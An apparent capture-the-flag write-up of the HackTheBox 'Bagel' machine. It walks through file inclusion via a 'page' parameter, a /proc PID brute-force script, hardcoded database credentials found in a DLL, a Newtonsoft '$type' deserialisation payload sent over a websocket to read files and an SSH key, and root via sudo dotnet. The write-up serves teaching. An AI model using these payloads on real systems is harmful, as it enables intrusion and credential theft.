Starting off with the nmap scan, we can it has 3 ports open (it missed one more port which was open due to some issue):
Checking the HTTP port, we see it is more of a static site, one thing that caught my eye was the page parameter in the URI:
Capturing the request and checking in the burp suite for LFI resulted in success and we could see the /etc/passwd file contents ini the response:
Checking for the current process, we see that it is running from the developer user’s directory and it is probably a flask application:
We can retrieve the contents of the [app.py](http://app.py) :
Checking the [app.py](http://app.py) code, we see that it has an endpoint orders which connects to the websocket running on the port 5000 and sends a JSON body as a part of the request, we also notice that there is a comment mentioning another file which is responsible for handling the websocket request and it is build with dotnet
@app.route('/') def index(): if'page'in request.args: page = 'static/'+request.args.get('page') if os.path.isfile(page): resp=send_file(page) resp.direct_passthrough = False if os.path.getsize(page) == 0: resp.headers["Content-Length"]=str(len(resp.get_data())) return resp else: return"File not found" else: return redirect('http://localhost:8000/?page=index.html', code=302)
@app.route('/orders') def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine. try: ws = websocket.WebSocket() ws.connect("ws://127.0.0.1:5000/") # connect to order app order = {"ReadOrder":"orders.txt"} data = str(json.dumps(order)) ws.send(data) result = ws.recv() return(json.loads(result)['ReadOrder']) except: return("Unable to connect")
if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
Since there is no filename or path which was disclosed, given the LFI the best bet we have on this is to run a PID bruteforce with a script and get the cmdline information, following script does the work:
#!/bin/bash
for i in {0..999}; do pid=$i url="http://bagel.htb:8000/?page=../../../../../proc/$pid/cmdline" curl -s "$url" | tee -a log.txt echo "" done
Running the script I see that there is a bagel.dll running with dotnet , since we have the absolute path of the file, we can download it via the LFI
❯ wget http://bagel.htb:8000/\?page\=../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll --2023-04-1918:11:06-- http://bagel.htb:8000/?page=../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll Resolving bagel.htb (bagel.htb)... 10.10.11.201 Connecting to bagel.htb (bagel.htb)|10.10.11.201|:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 10752 (10K) [application/octet-stream] Saving to: ‘index.html?page=..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll’
index.html?page=..%2F..%2F..% 100%[================================================>] 10.50K --.-KB/s in 0s
Now, it is time to analyze the DLL file using dnSpy
Analysing the bagel.dll
Checking the bagel.dll , it wasn’t big file so had limited number of classes and methods, one of the class was named as DB, it contained the SQL credentials for the dev user
using System; using Microsoft.Data.SqlClient;
namespace bagel_server { // Token: 0x0200000A RID: 10 public classDB { // Token: 0x06000022 RID: 34 RVA: 0x00002518 File Offset: 0x00000718 [Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")] public void DB_connection() { string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K"; SqlConnection sqlConnection = new SqlConnection(text); } } }
Since we already identified that there was a user named as developer , we might be able to SSH to the machine but it wasn’t working as the SSH server does not seem to accept the password from the remote user:
During the process dumping, I identified that gssproxy is running as well, a little bit insight into the GSSAPI:
Gssapi-keyex: This authentication method uses the Generic Security Services Application Program Interface (GSSAPI) to authenticate the client. It negotiates a secure key exchange protocol to create a shared secret between the client and server.
Gssapi-with-mic: This authentication method uses GSSAPI to authenticate the client, but it also includes a message integrity check (MIC) to ensure the authenticity of the message.
It seems that we won’t be able to authenticate to the SSH without any key or any GSSAPI key, digging deeper into the DLL file, we see that it accepts the JSON data and pass it to handler.Deserialise method to parse the JSON data:
Checking the handler class and the deserialise method is making use of the Newtonsoft.Json class, since there is no explicit TypeHandling was defined i.e. 4 is not a valid constant value for the TypeHandling , this is vulnerable to Deserialisation attack, check the Source Code Analysis note for better insight:
As we can interact with the websocket, what we can do is, due to insecure deserialisation, we can craft a payload for performing deserialisation attack. We can interact to the service using following script:
#!/usr/bin/python3
import websocket import json
def order(data): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine. try: ws = websocket.WebSocket() ws.connect("ws://10.10.11.201:5000/") # connect to order app order = {"ReadOrder":data} data = str(json.dumps(order)) ws.send(data) result = ws.recv() return(json.loads(result)) except Exception as E: print(E) return("Unable to connect")
print(order("orders.txt"))
Running the script with different inputs for the data , it works quite well:
There is a method called RemoveOrder which does not have any objects defined in it like other methods
There was another class named as File containing a method called ReadFile which could be the perfect target for the attack as we can retrieve any arbitrary file:
RemoveOrder is one of the methods we can call, using the $type , we can specify bagel_server.File, bagel such as we will be calling a method from that specific location i.e. ReadFile , lastly the data is the argument for the ReadFile
#!/usr/bin/python3
import websocket import json
def order(data): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine. try: ws = websocket.WebSocket() ws.connect("ws://10.10.11.201:5000/") # connect to order app order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": data}} data = str(json.dumps(order)) ws.send(data) result = ws.recv() return(json.loads(result)) except Exception as E: print(E) return("Unable to connect")
print(order("../../../../../../../etc/passwd"))
Checking it with the /etc/passwd , it worked like a charm
❯ python3 interact_bagel.py
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '8:54:05', 'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': 'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false', 'WriteFile': None}, 'WriteOrder': None, 'ReadOrder': None}
Next, we can get the private key of the phil user which we can use for SSH:
Now, we can successfully login to the machine as phil
Now using the dev user’s password we got from the DB class of the bagel.dll , we can escalate to the developer user
Doing sudo -l , we can see that we are allowed to run /usr/bin/donet as user root
[developer@bagel ~]$ sudo -l Matching Defaults entries for developer on bagel: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel: (root) NOPASSWD: /usr/bin/dotnet
Checking GTFO bins, we can see spawn an interactive shell and then use System.Diagnostic.Process.Start method spawn any child process, now since donet was running as root, we were able to get the shell as root
